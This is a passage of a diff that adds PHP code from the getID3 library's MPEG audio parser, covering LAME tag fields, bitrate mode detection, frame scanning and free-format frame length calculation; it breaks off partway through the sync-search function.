+						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
+						$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;
+
+						// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
+						$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
+						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
+							$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
+						} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
+							// ignore
+						} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
+							$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
+						}
+
+						// bytes $B1-$B3  Encoder delays
+						$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
+						$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
+						$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;
+
+						// byte $B4  Misc
+						$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
+						$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
+						$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
+						$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
+						$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
+						$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
+						$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
+						$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
+						$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);
+
+						// byte $B5  MP3 Gain
+						$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
+						$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
+						$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));
+
+						// bytes $B6-$B7  Preset and surround info
+						$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
+						// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
+						$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
+						$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
+						$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
+						$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
+						if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
+							$info['warning'][] = 'Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org';
+						}
+						if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
+							// this may change if 3.90.4 ever comes out
+							$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
+						}
+
+						// bytes $B8-$BB  MusicLength
+						$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
+						$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);
+
+						// bytes $BC-$BD  MusicCRC
+						$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));
+
+						// bytes $BE-$BF  CRC-16 of Info Tag
+						$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));
+
+
+						// LAME CBR
+						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) {
+
+							$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+							$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
+							$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
+							//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
+							//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
+							//}
+
+						}
+
+					}
+				}
+
+			} else {
+
+				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
+				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+				if ($recursivesearch) {
+					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
+						$recursivesearch = false;
+						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+					}
+					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
+						$info['warning'][] = 'VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.';
+					}
+				}
+
+			}
+
+		}
+
+		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
+			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
+				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
+					// ignore, audio data is broken into chunks so will always be data "missing"
+				}
+				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
+					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
+				}
+				else {
+					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
+				}
+			} else {
+				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
+				//	$prenullbytefileoffset = $this->ftell();
+				//	$this->fseek($info['avdataend']);
+				//	$PossibleNullByte = $this->fread(1);
+				//	$this->fseek($prenullbytefileoffset);
+				//	if ($PossibleNullByte === "\x00") {
+						$info['avdataend']--;
+				//		$info['warning'][] = 'Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored';
+				//	} else {
+				//		$info['warning'][] = 'Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)';
+				//	}
+				} else {
+					$info['warning'][] = 'Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)';
+				}
+			}
+		}
+
+		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
+			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
+				$framebytelength = $this->FreeFormatFrameLength($offset, true);
+				if ($framebytelength > 0) {
+					$thisfile_mpeg_audio['framelength'] = $framebytelength;
+					if ($thisfile_mpeg_audio['layer'] == '1') {
+						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
+						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
+					} else {
+						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
+						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
+					}
+				} else {
+					$info['error'][] = 'Error calculating frame length of free-format MP3 without Xing/LAME header';
+				}
+			}
+		}
+
+		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
+			switch ($thisfile_mpeg_audio['bitrate_mode']) {
+				case 'vbr':
+				case 'abr':
+					$bytes_per_frame = 1152;
+					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
+						$bytes_per_frame = 384;
+					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
+						$bytes_per_frame = 576;
+					}
+					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
+					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
+						$info['audio']['bitrate']         = $thisfile_mpeg_audio['VBR_bitrate'];
+						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
+					}
+					break;
+			}
+		}
+
+		// End variable-bitrate headers
+		////////////////////////////////////////////////////////////////////////////////////
+
+		if ($recursivesearch) {
+
+			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
+				return false;
+			}
+
+		}
+
+
+		//if (false) {
+		//    // experimental side info parsing section - not returning anything useful yet
+		//
+		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
+		//    $SideInfoOffset = 0;
+		//
+		//    if ($thisfile_mpeg_audio['version'] == '1') {
+		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
+		//            // MPEG-1 (mono)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $SideInfoOffset += 5;
+		//        } else {
+		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $SideInfoOffset += 3;
+		//        }
+		//    } else { // 2 or 2.5
+		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
+		//            // MPEG-2, MPEG-2.5 (mono)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            $SideInfoOffset += 1;
+		//        } else {
+		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            $SideInfoOffset += 2;
+		//        }
+		//    }
+		//
+		//    if ($thisfile_mpeg_audio['version'] == '1') {
+		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
+		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
+		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 2;
+		//            }
+		//        }
+		//    }
+		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
+		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
+		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
+		//            $SideInfoOffset += 12;
+		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            if ($thisfile_mpeg_audio['version'] == '1') {
+		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
+		//                $SideInfoOffset += 4;
+		//            } else {
+		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//                $SideInfoOffset += 9;
+		//            }
+		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//
+		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
+		//
+		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
+		//                $SideInfoOffset += 2;
+		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 1;
+		//
+		//                for ($region = 0; $region < 2; $region++) {
+		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
+		//                    $SideInfoOffset += 5;
+		//                }
+		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
+		//
+		//                for ($window = 0; $window < 3; $window++) {
+		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
+		//                    $SideInfoOffset += 3;
+		//                }
+		//
+		//            } else {
+		//
+		//                for ($region = 0; $region < 3; $region++) {
+		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
+		//                    $SideInfoOffset += 5;
+		//                }
+		//
+		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
+		//                $SideInfoOffset += 4;
+		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
+		//                $SideInfoOffset += 3;
+		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
+		//            }
+		//
+		//            if ($thisfile_mpeg_audio['version'] == '1') {
+		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 1;
+		//            }
+		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//        }
+		//    }
+		//}
+
+		return true;
+	}
+
+	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
+		$info = &$this->getid3->info;
+		$firstframetestarray = array('error'=>'', 'warning'=>'', 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
+		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);
+
+		for ($i = 0; $i < GETID3_MP3_VALID_CHECK_FRAMES; $i++) {
+			// check next GETID3_MP3_VALID_CHECK_FRAMES frames for validity, to make sure we haven't run across a false synch
+			if (($nextframetestoffset + 4) >= $info['avdataend']) {
+				// end of file
+				return true;
+			}
+
+			$nextframetestarray = array('error'=>'', 'warning'=>'', 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
+			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
+				if ($ScanAsCBR) {
+					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
+					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
+						return false;
+					}
+				}
+
+
+				// next frame is OK, get ready to check the one after that
+				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
+					$nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength'];
+				} else {
+					$info['error'][] = 'Frame at offset ('.$offset.') is has an invalid frame length.';
+					return false;
+				}
+
+			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {
+
+				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
+				return true;
+
+			} else {
+
+				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
+				$info['warning'][] = 'Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.';
+
+				return false;
+			}
+		}
+		return true;
+	}
+
+	public function FreeFormatFrameLength($offset, $deepscan=false) {
+		$info = &$this->getid3->info;
+
+		$this->fseek($offset);
+		$MPEGaudioData = $this->fread(32768);
+
+		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
+		// may be different pattern due to padding
+		$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) | 0x02).$SyncPattern1{3};
+		if ($SyncPattern2 === $SyncPattern1) {
+			$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) & 0xFD).$SyncPattern1{3};
+		}
+
+		$framelength = false;
+		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
+		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
+		if ($framelength1 > 4) {
+			$framelength = $framelength1;
+		}
+		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
+			$framelength = $framelength2;
+		}
+		if (!$framelength) {
+
+			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
+			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
+			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);
+
+			if ($framelength1 > 4) {
+				$framelength = $framelength1;
+			}
+			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
+				$framelength = $framelength2;
+			}
+			if (!$framelength) {
+				$info['error'][] = 'Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset;
+				return false;
+			} else {
+				$info['warning'][] = 'ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)';
+				$info['audio']['codec']   = 'LAME';
+				$info['audio']['encoder'] = 'LAME3.88';
+				$SyncPattern1 = substr($SyncPattern1, 0, 3);
+				$SyncPattern2 = substr($SyncPattern2, 0, 3);
+			}
+		}
+
+		if ($deepscan) {
+
+			$ActualFrameLengthValues = array();
+			$nextoffset = $offset + $framelength;
+			while ($nextoffset < ($info['avdataend'] - 6)) {
+				$this->fseek($nextoffset - 1);
+				$NextSyncPattern = $this->fread(6);
+				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// good - found where expected
+					$ActualFrameLengthValues[] = $framelength;
+				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
+					$ActualFrameLengthValues[] = ($framelength - 1);
+					$nextoffset--;
+				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
+					$ActualFrameLengthValues[] = ($framelength + 1);
+					$nextoffset++;
+				} else {
+					$info['error'][] = 'Did not find expected free-format sync pattern at offset '.$nextoffset;
+					return false;
+				}
+				$nextoffset += $framelength;
+			}
+			if (count($ActualFrameLengthValues) > 0) {
+				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
+			}
+		}
+		return $framelength;
+	}
+
+	public function getOnlyMPEGaudioInfoBruteForce() {
+		$MPEGaudioHeaderDecodeCache   = array();
+		$MPEGaudioHeaderValidCache    = array();
+		$MPEGaudioHeaderLengthCache   = array();
+		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		$LongMPEGversionLookup        = array();
+		$LongMPEGlayerLookup          = array();
+		$LongMPEGbitrateLookup        = array();
+		$LongMPEGpaddingLookup        = array();
+		$LongMPEGfrequencyLookup      = array();
+		$Distribution['bitrate']      = array();
+		$Distribution['frequency']    = array();
+		$Distribution['layer']        = array();
+		$Distribution['version']      = array();
+		$Distribution['padding']      = array();
+
+		$info = &$this->getid3->info;
+		$this->fseek($info['avdataoffset']);
+
+		$max_frames_scan = 5000;
+		$frames_scanned  = 0;
+
+		$previousvalidframe = $info['avdataoffset'];
+		while ($this->ftell() < $info['avdataend']) {
+			set_time_limit(30);
+			$head4 = $this->fread(4);
+			if (strlen($head4) < 4) {
+				break;
+			}
+			if ($head4{0} != "\xFF") {
+				for ($i = 1; $i < 4; $i++) {
+					if ($head4{$i} == "\xFF") {
+						$this->fseek($i - 4, SEEK_CUR);
+						continue 2;
+					}
+				}
+				continue;
+			}
+			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
+				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
+			}
+			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
+				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
+			}
+			if ($MPEGaudioHeaderValidCache[$head4]) {
+
+				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
+					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
+					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
+					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
+					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
+					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
+					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
+						$LongMPEGbitrateLookup[$head4],
+						$LongMPEGversionLookup[$head4],
+						$LongMPEGlayerLookup[$head4],
+						$LongMPEGpaddingLookup[$head4],
+						$LongMPEGfrequencyLookup[$head4]);
+				}
+				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
+					$WhereWeWere = $this->ftell();
+					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
+					$next4 = $this->fread(4);
+					if ($next4{0} == "\xFF") {
+						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
+							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
+						}
+						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
+							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
+						}
+						if ($MPEGaudioHeaderValidCache[$next4]) {
+							$this->fseek(-4, SEEK_CUR);
+
+							getid3_lib::safe_inc($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['layer'][$LongMPEGlayerLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['version'][$LongMPEGversionLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]);
+							getid3_lib::safe_inc($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]);
+							if ($max_frames_scan && (++$frames_scanned >= $max_frames_scan)) {
+								$pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']);
+								$info['warning'][] = 'too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.';
+								foreach ($Distribution as $key1 => $value1) {
+									foreach ($value1 as $key2 => $value2) {
+										$Distribution[$key1][$key2] = round($value2 / $pct_data_scanned);
+									}
+								}
+								break;
+							}
+							continue;
+						}
+					}
+					unset($next4);
+					$this->fseek($WhereWeWere - 3);
+				}
+
+			}
+		}
+		foreach ($Distribution as $key => $value) {
+			ksort($Distribution[$key], SORT_NUMERIC);
+		}
+		ksort($Distribution['version'], SORT_STRING);
+		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
+		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
+		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
+		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
+		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
+		if (count($Distribution['version']) > 1) {
+			$info['error'][] = 'Corrupt file - more than one MPEG version detected';
+		}
+		if (count($Distribution['layer']) > 1) {
+			$info['error'][] = 'Corrupt file - more than one MPEG layer detected';
+		}
+		if (count($Distribution['frequency']) > 1) {
+			$info['error'][] = 'Corrupt file - more than one MPEG sample rate detected';
+		}
+
+
+		$bittotal = 0;
+		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
+			if ($bitratevalue != 'free') {
+				$bittotal += ($bitratevalue * $bitratecount);
+			}
+		}
+		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
+		if ($info['mpeg']['audio']['frame_count'] == 0) {
+			$info['error'][] = 'no MPEG audio frames found';
+			return false;
+		}
+		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
+		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
+		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);
+
+		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
+		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
+		$info['fileformat']            = $info['audio']['dataformat'];
+
+		return true;
+	}
+
+
+	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
+		// looks for synch, decodes MPEG audio header
+
+		$info = &$this->getid3->info;
+
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+		   $MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
+		   $MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
+		   $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();
+
+		}
+
+		$this->fseek($avdataoffset);
+		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
+		if ($sync_seek_buffer_size <= 0) {
+			$info['error'][] = 'Invalid $sync_seek_buffer_size at offset '.$avdataoffset;
+			return false;
+		}
+		$header = $this->fread($sync_seek_buffer_size);
+		$sync_seek_buffer_size = strlen($header);
+		$SynchSeekOffset = 0;
+		while ($SynchSeekOffset < $sync_seek_buffer_size) {
+			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !feof($this->getid3->fp)) {
+
+				if ($SynchSeekOffset > $sync_seek_buffer_size) {
+					// if a synch's not found within the first 128k bytes, then give up
+					$info['error'][] = 'Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB';
